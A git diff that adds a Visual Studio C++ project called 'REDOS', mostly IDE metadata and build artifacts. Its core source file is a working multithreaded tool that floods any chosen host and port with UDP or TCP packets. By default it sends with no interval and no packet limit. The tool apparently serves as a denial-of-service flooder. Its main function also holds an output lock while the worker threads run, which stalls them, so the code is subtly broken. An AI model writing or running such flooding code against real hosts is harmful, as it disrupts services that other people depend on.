diff --git a/REDOS/.vs/ConsoleApplication2/FileContentIndex/d734d247-63a1-497b-9848-ac803f25d2df.vsidx b/REDOS/.vs/ConsoleApplication2/FileContentIndex/d734d247-63a1-497b-9848-ac803f25d2df.vsidx new file mode 100644 index 0000000..bdc9f4a Binary files /dev/null and b/REDOS/.vs/ConsoleApplication2/FileContentIndex/d734d247-63a1-497b-9848-ac803f25d2df.vsidx differ diff --git a/REDOS/.vs/ConsoleApplication2/v17/.suo b/REDOS/.vs/ConsoleApplication2/v17/.suo new file mode 100644 index 0000000..e11d2fb Binary files /dev/null and b/REDOS/.vs/ConsoleApplication2/v17/.suo differ diff --git a/REDOS/.vs/ConsoleApplication2/v17/Browse.VC.db b/REDOS/.vs/ConsoleApplication2/v17/Browse.VC.db new file mode 100644 index 0000000..98812aa Binary files /dev/null and b/REDOS/.vs/ConsoleApplication2/v17/Browse.VC.db differ diff --git a/REDOS/.vs/ConsoleApplication2/v17/DocumentLayout.backup.json b/REDOS/.vs/ConsoleApplication2/v17/DocumentLayout.backup.json new file mode 100644 index 0000000..d28442f --- /dev/null +++ b/REDOS/.vs/ConsoleApplication2/v17/DocumentLayout.backup.json @@ -0,0 +1,37 @@ +{ + "Version": 1, + "WorkspaceRootPath": "D:\\FFnew\\FFCN\\ConsoleApplication2\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{BFD11069-1F1C-4A9B-9FAF-91A555B712BF}|ConsoleApplication2\\ConsoleApplication2.vcxproj|D:\\FFnew\\FFCN\\ConsoleApplication2\\ConsoleApplication2\\ConsoleApplication2.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{BFD11069-1F1C-4A9B-9FAF-91A555B712BF}|ConsoleApplication2\\ConsoleApplication2.vcxproj|solutionrelative:ConsoleApplication2\\ConsoleApplication2.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 0, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "ConsoleApplication2.cpp", + "DocumentMoniker": "D:\\FFnew\\FFCN\\ConsoleApplication2\\ConsoleApplication2\\ConsoleApplication2.cpp", + "RelativeDocumentMoniker": "ConsoleApplication2\\ConsoleApplication2.cpp", + "ToolTip": "D:\\FFnew\\FFCN\\ConsoleApplication2\\ConsoleApplication2\\ConsoleApplication2.cpp", + "RelativeToolTip": "ConsoleApplication2\\ConsoleApplication2.cpp", + "ViewState": "AgIAAP8AAAAAAAAAAAAAACYBAAAMAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2025-06-14T09:15:44.418Z", + "EditorCaption": "" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/REDOS/.vs/ConsoleApplication2/v17/DocumentLayout.json b/REDOS/.vs/ConsoleApplication2/v17/DocumentLayout.json new file mode 100644 index 0000000..a77316b --- /dev/null +++ b/REDOS/.vs/ConsoleApplication2/v17/DocumentLayout.json @@ -0,0 +1,37 @@ +{ + "Version": 1, + "WorkspaceRootPath": "D:\\FFnew\\FFC\\REDOS\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{BFD11069-1F1C-4A9B-9FAF-91A555B712BF}|ConsoleApplication2\\ConsoleApplication2.vcxproj|D:\\FFnew\\FFC\\REDOS\\ConsoleApplication2\\ConsoleApplication2.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{BFD11069-1F1C-4A9B-9FAF-91A555B712BF}|ConsoleApplication2\\ConsoleApplication2.vcxproj|solutionrelative:ConsoleApplication2\\ConsoleApplication2.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 0, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "ConsoleApplication2.cpp", + "DocumentMoniker": "D:\\FFnew\\FFC\\REDOS\\ConsoleApplication2\\ConsoleApplication2.cpp", + "RelativeDocumentMoniker": "ConsoleApplication2\\ConsoleApplication2.cpp", + "ToolTip": "D:\\FFnew\\FFC\\REDOS\\ConsoleApplication2\\ConsoleApplication2.cpp", + "RelativeToolTip": "ConsoleApplication2\\ConsoleApplication2.cpp", + "ViewState": "AgIAAP8AAAAAAAAAAAAAACYBAAAMAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2025-06-14T09:15:44.418Z", + "EditorCaption": "" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/REDOS/.vs/ConsoleApplication2/v17/Solution.VC.db b/REDOS/.vs/ConsoleApplication2/v17/Solution.VC.db new file mode 100644 index 0000000..70edb15 Binary files /dev/null and b/REDOS/.vs/ConsoleApplication2/v17/Solution.VC.db differ diff --git a/REDOS/.vs/ConsoleApplication2/v17/ipch/AutoPCH/bd23076f11b0fab5/CONSOLEAPPLICATION2.ipch b/REDOS/.vs/ConsoleApplication2/v17/ipch/AutoPCH/bd23076f11b0fab5/CONSOLEAPPLICATION2.ipch new file mode 100644 index 0000000..6c25f35 Binary files /dev/null and b/REDOS/.vs/ConsoleApplication2/v17/ipch/AutoPCH/bd23076f11b0fab5/CONSOLEAPPLICATION2.ipch differ diff --git a/REDOS/.vs/ConsoleApplication2/v17/ipch/AutoPCH/dca27973884531ff/CONSOLEAPPLICATION2.ipch b/REDOS/.vs/ConsoleApplication2/v17/ipch/AutoPCH/dca27973884531ff/CONSOLEAPPLICATION2.ipch new file mode 100644 index 0000000..517a894 Binary files /dev/null and b/REDOS/.vs/ConsoleApplication2/v17/ipch/AutoPCH/dca27973884531ff/CONSOLEAPPLICATION2.ipch differ diff --git a/REDOS/.vs/ProjectSettings.json b/REDOS/.vs/ProjectSettings.json new file mode 100644 index 0000000..e257ff9 --- /dev/null +++ b/REDOS/.vs/ProjectSettings.json @@ -0,0 +1,3 @@ +{ + "CurrentProjectSetting": "无配置" +} \ No newline at end of file diff --git a/REDOS/.vs/REDOS/FileContentIndex/4c0b8841-0255-4402-86a8-e562155f66e5.vsidx b/REDOS/.vs/REDOS/FileContentIndex/4c0b8841-0255-4402-86a8-e562155f66e5.vsidx new file mode 100644 index 0000000..8856d58 Binary files /dev/null and b/REDOS/.vs/REDOS/FileContentIndex/4c0b8841-0255-4402-86a8-e562155f66e5.vsidx differ diff --git a/REDOS/.vs/REDOS/v17/.wsuo b/REDOS/.vs/REDOS/v17/.wsuo new file mode 100644 index 0000000..0dc08af Binary files /dev/null and b/REDOS/.vs/REDOS/v17/.wsuo differ diff --git a/REDOS/.vs/REDOS/v17/Browse.VC.db b/REDOS/.vs/REDOS/v17/Browse.VC.db new file mode 100644 index 0000000..d970c13 Binary files /dev/null and b/REDOS/.vs/REDOS/v17/Browse.VC.db differ diff --git a/REDOS/.vs/REDOS/v17/DocumentLayout.json b/REDOS/.vs/REDOS/v17/DocumentLayout.json new file mode 100644 index 0000000..df175ee --- /dev/null +++ b/REDOS/.vs/REDOS/v17/DocumentLayout.json @@ -0,0 +1,12 @@ +{ + "Version": 1, + "WorkspaceRootPath": "D:\\FFnew\\FFC\\REDOS\\", + "Documents": [], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [] + } + ] +} \ No newline at end of file diff --git a/REDOS/.vs/VSWorkspaceState.json b/REDOS/.vs/VSWorkspaceState.json new file mode 100644 index 0000000..69c49ee --- /dev/null +++ b/REDOS/.vs/VSWorkspaceState.json @@ -0,0 +1,8 @@ +{ + "ExpandedNodes": [ + "", + "\\ConsoleApplication2" + ], + "SelectedNode": "\\ConsoleApplication2\\ConsoleApplication2.cpp", + "PreviewInSolutionExplorer": false +} \ No newline at end of file diff --git a/REDOS/.vs/slnx.sqlite b/REDOS/.vs/slnx.sqlite new file mode 100644 index 0000000..84ffa04 Binary files /dev/null and b/REDOS/.vs/slnx.sqlite differ diff --git a/REDOS/REDOS.sln b/REDOS/REDOS.sln new file mode 100644 index 0000000..ea00aff --- /dev/null +++ b/REDOS/REDOS.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36127.28 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ConsoleApplication2", "ConsoleApplication2\ConsoleApplication2.vcxproj", "{BFD11069-1F1C-4A9B-9FAF-91A555B712BF}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Debug|x64.ActiveCfg = Debug|x64 + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Debug|x64.Build.0 = Debug|x64 + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Debug|x86.ActiveCfg = Debug|Win32 + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Debug|x86.Build.0 = Debug|Win32 + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Release|x64.ActiveCfg = Release|x64 + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Release|x64.Build.0 = Release|x64 + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Release|x86.ActiveCfg = Release|Win32 + {BFD11069-1F1C-4A9B-9FAF-91A555B712BF}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {2071730D-E6BC-43D2-AE05-938F8BBDBFB5} + EndGlobalSection +EndGlobal diff --git a/REDOS/REDOS/REDOS.cpp b/REDOS/REDOS/REDOS.cpp new file mode 100644 index 0000000..d3e2f16 --- /dev/null +++ b/REDOS/REDOS/REDOS.cpp @@ -0,0 +1,448 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +// 全局变量 +std::mutex cout_mutex; +std::atomic total_sent(0); +std::atomic stop_flag(false); + +enum class Protocol { UDP, TCP }; + +// 获取当前时间字符串 +std::string get_current_time() { + auto now = std::chrono::system_clock::now(); + std::time_t now_time = std::chrono::system_clock::to_time_t(now); + std::tm now_tm; + localtime_s(&now_tm, &now_time); + + char buffer[80]; + strftime(buffer, sizeof(buffer), "%H:%M:%S", &now_tm); + return std::string(buffer); +} + +std::string get_windows_error_message(int error_code) { + LPSTR buffer = nullptr; + FormatMessageA( + FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, + nullptr, error_code, 0, + (LPSTR)&buffer, 0, nullptr); + std::string message(buffer ? buffer : "Unknown error"); + if (buffer) LocalFree(buffer); + return message; +} + +// 域名解析函数 +std::string resolve_dns(const std::string& hostname) { + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { + throw std::runtime_error("WSAStartup失败"); + } + + addrinfo hints = { 0 }; + hints.ai_family = AF_INET; // IPv4 + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + addrinfo* result = nullptr; + int error = getaddrinfo(hostname.c_str(), nullptr, &hints, &result); + if (error != 0) { + WSACleanup(); + throw std::runtime_error("域名解析失败: " + std::to_string(error)); + } + + char ip_str[INET_ADDRSTRLEN]; + sockaddr_in* addr = reinterpret_cast(result->ai_addr); + inet_ntop(AF_INET, &addr->sin_addr, ip_str, INET_ADDRSTRLEN); + + std::string ip_address(ip_str); + freeaddrinfo(result); + WSACleanup(); + + return ip_address; +} + +// UDP发送线程 +void udp_send_thread(const std::string& target_ip, int target_port, + const std::string& packet_data, float interval, + int thread_id, int packets_per_thread) { + WSADATA wsaData; + SOCKET sock; + sockaddr_in serverAddr; + + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { + std::lock_guard lock(cout_mutex); + std::cerr << "UDP线程" << thread_id << ": WSAStartup失败" << std::endl; + return; + } + + if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == INVALID_SOCKET) { + std::lock_guard lock(cout_mutex); + std::cerr << "UDP线程" << thread_id << ": 创建套接字失败" << std::endl; + WSACleanup(); + return; + } + + memset(&serverAddr, 0, sizeof(serverAddr)); + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(target_port); + inet_pton(AF_INET, target_ip.c_str(), &serverAddr.sin_addr); + + int sent = 0; + while (!stop_flag && (packets_per_thread == 0 || sent < packets_per_thread)) { + if (sendto(sock, packet_data.c_str(), packet_data.size(), 0, + (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { + std::lock_guard lock(cout_mutex); + std::cerr << "UDP线程" << thread_id << ": 发送失败" << std::endl; + break; + } + + sent++; + total_sent++; + + if (sent % 100 == 0) { + std::lock_guard lock(cout_mutex); + std::cout << "[" << get_current_time() << "] " + << "UDP线程" << thread_id << ": 已发送 " << sent << " 个包" << std::endl; + } + + if (interval > 0) { + std::this_thread::sleep_for( + std::chrono::milliseconds(static_cast(interval * 1000))); + } + } + + closesocket(sock); + WSACleanup(); + + std::lock_guard lock(cout_mutex); + std::cout << "UDP线程" << thread_id << ": 已完成,共发送 " << sent << " 个包" << std::endl; +} + +// TCP发送线程 +void tcp_send_thread(const std::string& target_ip, int target_port, + const std::string& packet_data, float interval, + int thread_id, int packets_per_thread) { + WSADATA wsaData; + SOCKET sock = INVALID_SOCKET; + int sent_count = 0; + const int timeout_ms = 2000; // 2秒超时 + + // 1. 初始化Winsock + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { + std::lock_guard lock(cout_mutex); + std::cerr << "[" << get_current_time() << "] TCP线程" << thread_id + << " WSAStartup失败: " << WSAGetLastError() << std::endl; + return; + } + + // 2. 创建socket + if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { + std::lock_guard lock(cout_mutex); + std::cerr << "[" << get_current_time() << "] TCP线程" << thread_id + << " 创建socket失败: " << get_windows_error_message(WSAGetLastError()) << std::endl; + WSACleanup(); + return; + } + + // 3. 设置超时选项 + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms)); + + // 4. 准备目标地址 + sockaddr_in serverAddr; + memset(&serverAddr, 0, sizeof(serverAddr)); + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(target_port); + if (inet_pton(AF_INET, target_ip.c_str(), &serverAddr.sin_addr) <= 0) { + std::lock_guard lock(cout_mutex); + std::cerr << "[" << get_current_time() << "] TCP线程" << thread_id + << " 无效的IP地址: " << target_ip << std::endl; + closesocket(sock); + WSACleanup(); + return; + } + + // 5. 建立连接 + { + std::lock_guard lock(cout_mutex); + std::cout << "[" << get_current_time() << "] TCP线程" << thread_id + << " 正在连接 " << target_ip << ":" << target_port << "..." << std::endl; + } + + if (connect(sock, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { + int err = WSAGetLastError(); + std::lock_guard lock(cout_mutex); + std::cerr << "[" << get_current_time() << "] TCP线程" << thread_id + << " 连接失败: " << err << " - " << get_windows_error_message(err) << std::endl; + closesocket(sock); + WSACleanup(); + return; + } + + // 6. 连接成功,开始发送数据 + { + std::lock_guard lock(cout_mutex); + std::cout << "[" << get_current_time() << "] TCP线程" << thread_id + << " 连接成功,开始发送数据..." << std::endl; + } + + const char* data_ptr = packet_data.c_str(); + const int data_len = static_cast(packet_data.size()); + + while (!stop_flag && (packets_per_thread == 0 || sent_count < packets_per_thread)) { + // 7. 发送数据包 + int bytes_sent = send(sock, data_ptr, data_len, 0); + + if (bytes_sent == SOCKET_ERROR) { + int err = WSAGetLastError(); + std::lock_guard lock(cout_mutex); + std::cerr << "[" << get_current_time() << "] TCP线程" << thread_id + << " 发送失败: " << err << " - " << get_windows_error_message(err) << std::endl; + break; + } + + sent_count++; + total_sent++; + + // 8. 输出进度 + if (sent_count % 10 == 0) { + std::lock_guard lock(cout_mutex); + std::cout << "[" << get_current_time() << "] TCP线程" << thread_id + << " 已发送 " << sent_count << " 个包 (" + << sent_count * data_len << " 字节)" << std::endl; + } + + // 9. 间隔控制 + if (interval > 0) { + std::this_thread::sleep_for( + std::chrono::milliseconds(static_cast(interval * 1000))); + } + } + + // 10. 关闭连接 + { + std::lock_guard lock(cout_mutex); + std::cout << "[" << get_current_time() << "] TCP线程" << thread_id + << " 关闭连接,共发送 " << sent_count << " 个包" << std::endl; + } + + shutdown(sock, SD_SEND); + closesocket(sock); + WSACleanup(); +} + +// 获取用户输入 +void getUserInput(std::string& target_ip, int& target_port, std::string& packet_data, + float& interval, int& total_count, int& thread_count, Protocol& protocol) { + std::cout << "=== 多协议网络数据包发送工具 ===" << std::endl; + + // 选择协议 + while (true) { + std::cout << "请选择协议 (1-UDP, 2-TCP): "; + std::string protocol_input; + std::getline(std::cin, protocol_input); + + if (protocol_input == "1") { + protocol = Protocol::UDP; + break; + } + else if (protocol_input == "2") { + protocol = Protocol::TCP; + break; + } + else { + std::cout << "错误: 请输入1或2" << std::endl; + } + } + + // 获取目标地址(IP或域名) + while (true) { + std::cout << "请输入目标地址(IP或域名): "; + std::getline(std::cin, target_ip); + if (!target_ip.empty()) { + // 尝试解析域名 + try { + // 检查是否是有效的IP地址 + sockaddr_in sa; + if (inet_pton(AF_INET, target_ip.c_str(), &(sa.sin_addr)) != 1) { + std::cout << "正在解析域名: " << target_ip << "..." << std::endl; + std::string resolved_ip = resolve_dns(target_ip); + std::cout << "解析成功: " << target_ip << " -> " << resolved_ip << std::endl; + target_ip = resolved_ip; + } + break; + } + catch (const std::exception& e) { + std::cout << "错误: " << e.what() << std::endl; + } + } + else { + std::cout << "错误: 地址不能为空" << std::endl; + } + } + + // 获取端口号 + while (true) { + std::cout << "请输入目标端口(1-65535): "; + std::string port_input; + std::getline(std::cin, port_input); + + try { + target_port = std::stoi(port_input); + if (target_port >= 1 && target_port <= 65535) { + break; + } + std::cout << "错误: 端口必须在1-65535范围内" << std::endl; + } + catch (...) { + std::cout << "错误: 请输入有效的端口号" << std::endl; + } + } + + // 获取发送内容 + std::cout << "请输入要发送的内容(默认为'ping'): "; + std::getline(std::cin, packet_data); + if (packet_data.empty()) { + packet_data = "ping"; + } + + // 获取发送间隔 + while (true) { + std::cout << "请输入发送间隔(秒,0表示无间隔,默认为0): "; + std::string interval_input; + std::getline(std::cin, interval_input); + + if (interval_input.empty()) { + interval = 0.0f; + break; + } + + try { + interval = std::stof(interval_input); + if (interval >= 0) { + break; + } + std::cout << "错误: 间隔时间不能为负数" << std::endl; + } + catch (...) { + std::cout << "错误: 请输入有效的数字" << std::endl; + } + } + + // 获取总发送次数 + while (true) { + std::cout << "请输入总发送次数(0表示无限,默认为0): "; + std::string count_input; + std::getline(std::cin, count_input); + + if (count_input.empty()) { + total_count = 0; + break; + } + + try { + total_count = std::stoi(count_input); + if (total_count >= 0) { + break; + } + std::cout << "错误: 次数不能为负数" << std::endl; + } + catch (...) { + std::cout << "错误: 请输入有效的整数" << std::endl; + } + } + + // 获取线程数 + while (true) { + std::cout << "请输入线程数(1-100,默认为4): "; + std::string thread_input; + std::getline(std::cin, thread_input); + + if (thread_input.empty()) { + thread_count = 4; + break; + } + + try { + thread_count = std::stoi(thread_input); + if (thread_count >= 1 && thread_count <= 100) { + break; + } + std::cout << "错误: 线程数必须在1-100范围内" << std::endl; + } + catch (...) { + std::cout << "错误: 请输入有效的整数" << std::endl; + } + } +} + +int main() { + std::string ip, data; + int port, total_count, thread_count; + float interval; + Protocol protocol; + + // 获取用户输入 + getUserInput(ip, port, data, interval, total_count, thread_count, protocol); + + // 计算每个线程需要发送的包数 + int packets_per_thread = total_count == 0 ? 0 : total_count / thread_count; + int remaining_packets = total_count == 0 ? 0 : total_count % thread_count; + + std::cout << "\n开始发送..." << std::endl; + std::cout << "协议: " << (protocol == Protocol::UDP ? "UDP" : "TCP") << std::endl; + std::cout << "目标: " << ip << ":" << port << std::endl; + std::cout << "内容: " << data << std::endl; + std::cout << "间隔: " << interval << "秒" << std::endl; + std::cout << "线程数: " << thread_count << std::endl; + std::cout << "总发送次数: " << (total_count == 0 ? "无限" : std::to_string(total_count)) << std::endl; + std::cout << "按回车键停止发送...\n" << std::endl; + + // 启动发送线程 + std::lock_guard lock(cout_mutex); + std::vector threads; + for (int i = 0; i < thread_count; ++i) { + int this_thread_packets = packets_per_thread; + if (i == thread_count - 1 && remaining_packets > 0) { + this_thread_packets += remaining_packets; + } + + if (protocol == Protocol::UDP) { + threads.emplace_back(udp_send_thread, ip, port, data, interval, + i + 1, this_thread_packets); + } + else { + threads.emplace_back(tcp_send_thread, ip, port, data, interval, + i + 1, this_thread_packets); + } + } + + + // 等待用户输入停止 + std::cin.get(); + stop_flag = true; + + // 等待所有线程结束 + for (auto& t : threads) { + if (t.joinable()) { + t.join(); // 确保所有线程完成 + } + } + + std::cout << "\n发送已停止,总共发送 " << total_sent << " 个包" << std::endl; + std::cout << "按回车键退出..."; + std::cin.ignore(); + + return 0; +} \ No newline at end of file diff --git a/REDOS/REDOS/REDOS.vcxproj b/REDOS/REDOS/REDOS.vcxproj new file mode 100644 index 0000000..b3de18a --- /dev/null +++ b/REDOS/REDOS/REDOS.vcxproj @@ -0,0 +1,131 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {bfd11069-1f1c-4a9b-9faf-91a555b712bf} + ConsoleApplication2 + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + + + \ No newline at end of file diff --git a/REDOS/REDOS/REDOS.vcxproj.filters b/REDOS/REDOS/REDOS.vcxproj.filters new file mode 100644 index 0000000..4eba0d8 --- /dev/null +++ b/REDOS/REDOS/REDOS.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + \ No newline at end of file diff --git a/REDOS/REDOS/REDOS.vcxproj.user b/REDOS/REDOS/REDOS.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/REDOS/REDOS/REDOS.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.command.1.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.command.1.tlog new file mode 100644 index 0000000..32fafda Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.command.1.tlog differ diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.read.1.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.read.1.tlog new file mode 100644 index 0000000..0fd019a Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.read.1.tlog differ diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.write.1.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.write.1.tlog new file mode 100644 index 0000000..bbd5932 Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/CL.write.1.tlog differ diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/Cl.items.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/Cl.items.tlog new file mode 100644 index 0000000..a2d0cc3 --- /dev/null +++ b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/Cl.items.tlog @@ -0,0 +1 @@ +D:\FFnew\FFCN\ConsoleApplication2\ConsoleApplication2\ConsoleApplication2.cpp;D:\FFnew\FFCN\ConsoleApplication2\ConsoleApplication2\x64\Release\ConsoleApplication2.obj diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/ConsoleApplication2.lastbuildstate b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/ConsoleApplication2.lastbuildstate new file mode 100644 index 0000000..7cf13cb --- /dev/null +++ b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/ConsoleApplication2.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.44.35207:TargetPlatformVersion=10.0.26100.0: +Release|x64|D:\FFnew\FFCN\ConsoleApplication2\| diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.command.1.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.command.1.tlog new file mode 100644 index 0000000..7f4fe12 Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.command.1.tlog differ diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.read.1.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.read.1.tlog new file mode 100644 index 0000000..6ab3ee1 Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.read.1.tlog differ diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.secondary.1.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..1964cd4 --- /dev/null +++ b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.secondary.1.tlog @@ -0,0 +1,3 @@ +^D:\FFNEW\FFCN\CONSOLEAPPLICATION2\CONSOLEAPPLICATION2\X64\RELEASE\CONSOLEAPPLICATION2.OBJ +D:\FFnew\FFCN\ConsoleApplication2\ConsoleApplication2\x64\Release\ConsoleApplication2.IPDB +D:\FFnew\FFCN\ConsoleApplication2\ConsoleApplication2\x64\Release\ConsoleApplication2.iobj diff --git a/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.write.1.tlog b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.write.1.tlog new file mode 100644 index 0000000..85410b4 Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleA.bfd11069.tlog/link.write.1.tlog differ diff --git a/REDOS/REDOS/x64/Release/ConsoleApplication2.exe.recipe b/REDOS/REDOS/x64/Release/ConsoleApplication2.exe.recipe new file mode 100644 index 0000000..cd099c3 --- /dev/null +++ b/REDOS/REDOS/x64/Release/ConsoleApplication2.exe.recipe @@ -0,0 +1,11 @@ + + + + + D:\FFnew\FFCN\ConsoleApplication2\x64\Release\ConsoleApplication2.exe + + + + + + \ No newline at end of file diff --git a/REDOS/REDOS/x64/Release/ConsoleApplication2.iobj b/REDOS/REDOS/x64/Release/ConsoleApplication2.iobj new file mode 100644 index 0000000..4072c9e Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleApplication2.iobj differ diff --git a/REDOS/REDOS/x64/Release/ConsoleApplication2.ipdb b/REDOS/REDOS/x64/Release/ConsoleApplication2.ipdb new file mode 100644 index 0000000..274eec1 Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleApplication2.ipdb differ diff --git a/REDOS/REDOS/x64/Release/ConsoleApplication2.log b/REDOS/REDOS/x64/Release/ConsoleApplication2.log new file mode 100644 index 0000000..5d49e1c --- /dev/null +++ b/REDOS/REDOS/x64/Release/ConsoleApplication2.log @@ -0,0 +1,8 @@ + ConsoleApplication2.cpp +D:\FFnew\FFCN\ConsoleApplication2\ConsoleApplication2\ConsoleApplication2.cpp(104,63): warning C4267: “参数”: 从“size_t”转换到“int”,可能丢失数据 + 正在生成代码 + 5 of 323 functions ( 1.5%) were compiled, the rest were copied from previous compilation. + 1 functions were new in current compilation + 22 functions had inline decision re-evaluated but remain unchanged + 已完成代码的生成 + ConsoleApplication2.vcxproj -> D:\FFnew\FFCN\ConsoleApplication2\x64\Release\ConsoleApplication2.exe diff --git a/REDOS/REDOS/x64/Release/ConsoleApplication2.obj b/REDOS/REDOS/x64/Release/ConsoleApplication2.obj new file mode 100644 index 0000000..bddbeeb Binary files /dev/null and b/REDOS/REDOS/x64/Release/ConsoleApplication2.obj differ diff --git a/REDOS/REDOS/x64/Release/vc143.pdb b/REDOS/REDOS/x64/Release/vc143.pdb new file mode 100644 index 